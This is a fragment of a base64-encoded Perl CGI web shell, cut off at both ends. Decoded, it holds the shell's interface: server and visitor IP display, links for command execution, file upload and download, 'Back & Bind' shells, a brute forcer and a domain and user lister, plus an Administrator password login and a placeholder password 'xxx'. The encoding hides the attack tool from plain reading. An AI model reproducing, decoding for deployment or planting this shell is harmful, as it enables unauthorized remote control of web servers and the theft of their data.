RleHQvaHRtbFxuXG4iOwoJcHJpbnQgPDxFTkQ7CjxodG1sPgo8aGVhZD4KPG1ldGEgaHR0cC1lcXVpdj0iY29udGVudC10eXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiPgo8dGl0bGU+JEVOVnsnU0VSVkVSX05BTUUnfSB8IElQIDogJEVOVnsnU0VSVkVSX0FERFInfSA8L3RpdGxlPgokSHRtbE1ldGFIZWFkZXIKPC9oZWFkPgo8c3R5bGU+CmJvZHl7CmZvbnQ6IDEwcHQgVmVyZGFuYTsKY29sb3I6ICNmZmY7Cn0KdHIsdGQsdGFibGUsaW5wdXQsdGV4dGFyZWEgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKfQojZG9tYWluIHRyOmhvdmVyewpiYWNrZ3JvdW5kLWNvbG9yOiAjNDQ0Owp9CnRkIHsKY29sb3I6ICNmZmZmZmY7Cn0KLmxpc3RkaXIgdGR7Cgl0ZXh0LWFsaWduOiBjZW50ZXI7Cn0KLmxpc3RkaXIgdGh7Cgljb2xvcjogI0ZGOTkwMDsKfQouZGlyLC5maWxlCnsKCXRleHQtYWxpZ246IGxlZnQgIWltcG9ydGFudDsKfQouZGlyewoJZm9udC1zaXplOiAxMHB0OyAKCWZvbnQtd2VpZ2h0OiBib2xkOwp9CnRhYmxlIHsKQkFDS0dST1VORC1DT0xPUjogIzExMTsKfQppbnB1dCB7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpjb2xvcjogI2ZmOTkwMDsKfQppbnB1dC5zdWJtaXQgewp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47CmNvbG9yOiAjRkZGRkZGOwpib3JkZXItY29sb3I6ICMwMDk5MDA7Cn0KY29kZSB7CmJvcmRlcjogZGFzaGVkIDBweCAjMzMzOwpjb2xvcjogd2hpbGU7Cn0KcnVuIHsKYm9yZGVyCQkJOiBkYXNoZWQgMHB4ICMzMzM7CmNvbG9yOiAjRkYwMEFBOwp9CnRleHRhcmVhIHsKQkFDS0dST1VORC1DT0xPUjogIzFiMWIxYjsKZm9udDogRml4ZWRzeXMgYm9sZDsKY29sb3I6ICNhYWE7Cn0KQTpsaW5rIHsKCUNPTE9SOiAjZmZmZmZmOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOnZpc2l0ZWQgewoJQ09MT1I6ICNmZmZmZmY7IFRFWFQtREVDT1JBVElPTjogbm9uZQp9CkE6aG92ZXIgewoJdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOwoJY29sb3I6ICNGRkZGRkY7IFRFWFQtREVDT1JBVElPTjogbm9uZQp9CkE6YWN0aXZlIHsKCWNvbG9yOiBSZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZQp9Ci5saXN0ZGlyIHRyOmhvdmVyewoJYmFja2dyb3VuZDogIzQ0NDsKfQoubGlzdGRpciB0cjpob3ZlciB0ZHsKCWJhY2tncm91bmQ6ICM0NDQ7Cgl0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47Cgljb2xvcjogI0ZGRkZGRjsgVEVYVC1ERUNPUkFUSU9OOiBub25lOwp9Ci5ub3RsaW5lewoJYmFja2dyb3VuZDogIzExMTsKfQoubGluZXsKCWJhY2tncm91bmQ6ICMyMjI7Cn0KPC9zdHlsZT4KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+CmZ1bmN0aW9uIEVuY29kZXIobmFtZSkKewoJdmFyIGUgPSAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQobmFtZSk7CgllLnZhbHVlID0gYnRvYShlLnZhbHVlKTsKCXJldHVybiB0cnVlOwp9CmZ1bmN0aW9uIGNobW9kX2Zvcm0oaSxmaWxlKQp7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdndWknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9JyRFbmNvZGVDdXJyZW50RGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic+PC9mb3JtPiI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGV4dF8iICsgaSkuZm9jdXMoKTsKfQpmdW5jdGlvbiBybV9jaG1vZF9mb3JtKHJlc3BvbnNlLGkscGVybXMsZmlsZSkKewoJcmVzcG9uc2UuaW5uZXJIVE1MID0gIjxzcGFuIG9uY2xpY2s9XFxcImNobW9kX2Zvcm0oIiArIGkgKyAiLCciKyBmaWxlKyAiJylcXFwiID4iKyBwZXJtcyArIjwvc3Bhbj48L3RkPiI7Cn0KZnVuY3Rpb24gcmVuYW1lX2Zvcm0oaSxmaWxlLGYpCnsKCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOwoJdmFyIGJhY2s9InJtX3JlbmFtZV9mb3JtKCIraSsiLFxcXCIiK2ZpbGUrIlxcXCIsXFxcIiIrZisiXFxcIik7IHJldHVybiBmYWxzZTsiOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nJyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1yZW5hbWUgdHlwZT10ZXh0IHZhbHVlPSAnIitmaWxlKyInIC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIHZhbHVlPU9LPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYmFjayArICInIHZhbHVlPUNhbmNlbD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdndWknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9JyRFbmNvZGVDdXJyZW50RGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic+PC9mb3JtPiI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGV4dF8iICsgaSkuZm9jdXMoKTsKfQpmdW5jdGlvbiBybV9yZW5hbWVfZm9ybShpLGZpbGUsZikKewoJaWYoZj09J2YnKQoJewoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8YSBocmVmPSc/YT1jb21tYW5kJmQ9JEVuY29kZUN1cnJlbnREaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsKCX1lbHNlCgl7CgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOwoJfQp9Cjwvc2NyaXB0Pgo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzBjMGMwYyIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4KPGNlbnRlcj48Y29kZT4KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+Cjx0cj4KCTx0ZCBhbGlnbj0iY2VudGVyIiByb3dzcGFuPTM+CgkJPGI+PGZvbnQgc2l6ZT0iMyI+JEVkaXRQZXJzaW9uPC9mb250PjwvYj4KCTwvdGQ+Cgk8dGQ+CgkJJGluZm8KCTwvdGQ+Cgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSJyZWQiPiAkRU5WeydTRVJWRVJfQUREUid9PC9mb250PiB8IFlvdXIgSVA6IDxmb250IGNvbG9yPSJyZWQiPiRFTlZ7J1JFTU9URV9BRERSJ308L2ZvbnQ+Cgk8L3RkPgo8L3RyPgo8dHI+Cjx0ZCBjb2xzcGFuPSIyIj4KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uIj5Ib21lPC9hPiB8IAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1jb21tYW5kJmQ9JEVuY29kZUN1cnJlbnREaXIiPkNvbW1hbmQ8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Z3VpJmQ9JEVuY29kZUN1cnJlbnREaXIiPkdVSTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZUN1cnJlbnREaXIiPlVwbG9hZCBGaWxlPC9hPiB8IAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZkPSRFbmNvZGVDdXJyZW50RGlyIj5Eb3dubG9hZCBGaWxlPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJhY2tiaW5kIj5CYWNrICYgQmluZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1icnV0ZWZvcmNlciI+QnJ1dGUgRm9yY2VyPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNoZWNrbG9nIj5DaGVjayBMb2c8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG9tYWluc3VzZXIiPkRvbWFpbnMvVXNlcnM8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5Mb2dvdXQ8L2E+IHwKPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9Ii4uL2Vycm9yX2xvZy5waHAiPkhlbHA8L2E+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiPgokaWQKPC90ZD4KPC90cj4KPC90YWJsZT4KPGZvbnQgaWQ9IlJlc3BvbnNlRGF0YSIgY29sb3I9IiNGRkZGRkYiID4KRU5ECn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5TY3JlZW4KewoJcHJpbnQgPDxFTkQ7CjxwcmU+PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpUeXBpbmdUZXh0ID0gZnVuY3Rpb24oZWxlbWVudCwgaW50ZXJ2YWwsIGN1cnNvciwgZmluaXNoZWRDYWxsYmFjaykgewogIGlmKCh0eXBlb2YgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQgPT0gInVuZGVmaW5lZCIpIHx8ICh0eXBlb2YgZWxlbWVudC5pbm5lckhUTUwgPT0gInVuZGVmaW5lZCIpKSB7CiAgICB0aGlzLnJ1bm5pbmcgPSB0cnVlOwkvLyBOZXZlciBydW4uCiAgICByZXR1cm47CiAgfQogIHRoaXMuZWxlbWVudCA9IGVsZW1lbnQ7CiAgdGhpcy5maW5pc2hlZENhbGxiYWNrID0gKGZpbmlzaGVkQ2FsbGJhY2sgPyBmaW5pc2hlZENhbGxiYWNrIDogZnVuY3Rpb24oKSB7IHJldHVybjsgfSk7CiAgdGhpcy5pbnRlcnZhbCA9ICh0eXBlb2YgaW50ZXJ2YWwgPT0gInVuZGVmaW5lZCIgPyAxMDAgOiBpbnRlcnZhbCk7CiAgdGhpcy5vcmlnVGV4dCA9IHRoaXMuZWxlbWVudC5pbm5lckhUTUw7CiAgdGhpcy51bnBhcnNlZE9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dDsKICB0aGlzLmN1cnNvciA9IChjdXJzb3IgPyBjdXJzb3IgOiAiIik7CiAgdGhpcy5jdXJyZW50VGV4dCA9ICIiOwogIHRoaXMuY3VycmVudENoYXIgPSAwOwogIHRoaXMuZWxlbWVudC50eXBpbmdUZXh0ID0gdGhpczsKICBpZih0aGlzLmVsZW1lbnQuaWQgPT0gIiIpIHRoaXMuZWxlbWVudC5pZCA9ICJ0eXBpbmd0ZXh0IiArIFR5cGluZ1RleHQuY3VycmVudEluZGV4Kys7CiAgVHlwaW5nVGV4dC5hbGwucHVzaCh0aGlzKTsKICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsKICB0aGlzLmluVGFnID0gZmFsc2U7CiAgdGhpcy50YWdCdWZmZXIgPSAiIjsKICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOwogIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciA9ICIiOwp9ClR5cGluZ1RleHQuYWxsID0gbmV3IEFycmF5KCk7ClR5cGluZ1RleHQuY3VycmVudEluZGV4ID0gMDsKVHlwaW5nVGV4dC5ydW5BbGwgPSBmdW5jdGlvbigpIHsKICBmb3IodmFyIGkgPSAwOyBpIDwgVHlwaW5nVGV4dC5hbGwubGVuZ3RoOyBpKyspIFR5cGluZ1RleHQuYWxsW2ldLnJ1bigpOwp9ClR5cGluZ1RleHQucHJvdG90eXBlLnJ1biA9IGZ1bmN0aW9uKCkgewogIGlmKHRoaXMucnVubmluZykgcmV0dXJuOwogIGlmKHR5cGVvZiB0aGlzLm9yaWdUZXh0ID09ICJ1bmRlZmluZWQiKSB7CiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7CS8vIFdlIGhhdmVuJ3QgZmluaXNoZWQgbG9hZGluZyB5ZXQuICBIYXZlIHBhdGllbmNlLgogICAgcmV0dXJuOwogIH0KICBpZih0aGlzLmN1cnJlbnRUZXh0ID09ICIiKSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gIiI7Ci8vICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dC5yZXBsYWNlKC88KFtePF0pKj4vLCAiIik7ICAgICAvLyBTdHJpcCBIVE1MIGZyb20gdGV4dC4KICBpZih0aGlzLmN1cnJlbnRDaGFyIDwgdGhpcy5vcmlnVGV4dC5sZW5ndGgpIHsKICAgIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI8IiAmJiAhdGhpcy5pblRhZykgewogICAgICB0aGlzLnRhZ0J1ZmZlciA9ICI8IjsKICAgICAgdGhpcy5pblRhZyA9IHRydWU7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI+IiAmJiB0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyICs9ICI+IjsKICAgICAgdGhpcy5pblRhZyA9IGZhbHNlOwogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMudGFnQnVmZmVyOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiJiIgJiYgIXRoaXMuaW5IVE1MRW50aXR5KSB7CiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciA9ICImIjsKICAgICAgdGhpcy5pbkhUTUxFbnRpdHkgPSB0cnVlOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiOyIgJiYgdGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9ICI7IjsKICAgICAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsKICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLkhUTUxFbnRpdHlCdWZmZXI7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMuaW5IVE1MRW50aXR5KSB7CiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgewogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgfQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9IHRoaXMuY3VycmVudFRleHQ7CiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MICs9ICh0aGlzLmN1cnJlbnRDaGFyIDwgdGhpcy5vcmlnVGV4dC5sZW5ndGggLSAxID8gKHR5cGVvZiB0aGlzLmN1cnNvciA9PSAiZnVuY3Rpb24iID8gdGhpcy5jdXJzb3IodGhpcy5jdXJyZW50VGV4dCkgOiB0aGlzLmN1cnNvcikgOiAiIik7CiAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7CiAgfSBlbHNlIHsKCXRoaXMuY3VycmVudFRleHQgPSAiIjsKCXRoaXMuY3VycmVudENoYXIgPSAwOwogICAgICAgIHRoaXMucnVubmluZyA9IGZhbHNlOwogICAgICAgIHRoaXMuZmluaXNoZWRDYWxsYmFjaygpOwogIH0KfQo8L3NjcmlwdD4KPC9wcmU+Cgo8YnI+Cgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+Cm5ldyBUeXBpbmdUZXh0KGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJoYWNrIiksIDMwLCBmdW5jdGlvbihpKXsgdmFyIGFyID0gbmV3IEFycmF5KCJfIiwiIik7IHJldHVybiAiICIgKyBhcltpLmxlbmd0aCAlIGFyLmxlbmd0aF07IH0pOwpUeXBpbmdUZXh0LnJ1bkFsbCgpOwoKPC9zY3JpcHQ+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBlbmNvZGUgaHRtbCBzcGVjaWFsIGNoYXJzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFVybEVuY29kZSgkKXsKCW15ICRzdHIgPSBzaGlmdDsKCSRzdHIgPX4gcy8oW15BLVphLXowLTldKS9zcHJpbnRmKCIlJSUwMlgiLCBvcmQoJDEpKS9zZWc7CglyZXR1cm4gJHN0cjsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQWRkIGh0bWwgc3BlY2lhbCBjaGFycwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBIdG1sU3BlY2lhbENoYXJzKCQpewoJbXkgJHRleHQgPSBzaGlmdDsKCSR0ZXh0ID1+IHMvJi8mYW1wOy9nOwoJJHRleHQgPX4gcy8iLyZxdW90Oy9nOwoJJHRleHQgPX4gcy8nLyYjMDM5Oy9nOwoJJHRleHQgPX4gcy88LyZsdDsvZzsKCSR0ZXh0ID1+IHMvPi8mZ3Q7L2c7CglyZXR1cm4gJHRleHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEFkZCBsaW5rIGZvciBkaXJlY3RvcnkKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQWRkTGlua0RpcigkKQp7CglteSAkYWM9c2hpZnQ7CglteSBAZGlyPSgpOwoJaWYoJFdpbk5UKQoJewoJCUBkaXI9c3BsaXQoL1xcLywkQ3VycmVudERpcik7Cgl9ZWxzZQoJewoJCUBkaXI9c3BsaXQoIi8iLCZ0cmltKCRDdXJyZW50RGlyKSk7Cgl9CglteSAkcGF0aD0iIjsKCW15ICRyZXN1bHQ9IiI7Cglmb3JlYWNoIChAZGlyKQoJewoJCSRwYXRoIC49ICRfLiRQYXRoU2VwOwoJCSRyZXN1bHQuPSI8YSBocmVmPSc/YT0iLiRhYy4iJmQ9Ii5lbmNvZGVfYmFzZTY0KCRwYXRoKS4iJz4iLiRfLiRQYXRoU2VwLiI8L2E+IjsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIG1lc3NhZ2UgdGhhdCBpbmZvcm1zIHRoZSB1c2VyIG9mIGEgZmFpbGVkIGxvZ2luCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5GYWlsZWRNZXNzYWdlCnsKCXByaW50IDw8RU5EOwoKClBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRm9ybQp7CglwcmludCA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlRm9vdGVyCnsKCXByaW50ICI8YnI+Cgk8Zm9udCBjb2xvcj1yZWQ+PTwvZm9udD48Zm9udCBjb2xvcj1yZWQ+LS0tJmd0OyogIDxmb250IGNvbG9yPSNmZjk5MDA+UGFzcyA9IHh4eCA8L2ZvbnQ+ICAqJmx0Oy0tLT08L2ZvbnQ+PC9jb2RlPgo8L2NlbnRlcj48L2JvZHk+PC9odG1sPiI7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJldHJlaXZlcyB0aGUgdmFsdWVzIG9mIGFsbCBjb29raWVzLiBUaGUgY29va2llcyBjYW4gYmUgYWNjZXNzZXMgdXNpbmcgdGhlCiMgdmFyaWFibGUgJENvb2tpZXN7Jyd9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEdldENvb2tpZXMKewoJQGh0dHBjb29raWVzID0gc3BsaXQoLzsgLywkRU5WeydIVFRQX0NPT0tJRSd9KTsKCWZvcmVhY2ggJGNvb2tpZShAaHR0cGNvb2tpZXMpCgl7CgkJKCRpZCwgJHZhbCkgPSBzcGxpdCgvPS8sICRjb29raWUpOwoJCSRDb29raWVzeyRpZH0gPSAkdmFsOwoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2FpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9nb3V0CnsKCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUKCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCSZQcmludExvZ291dFNjcmVlbjsKCgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7CglleGl0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9naW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCB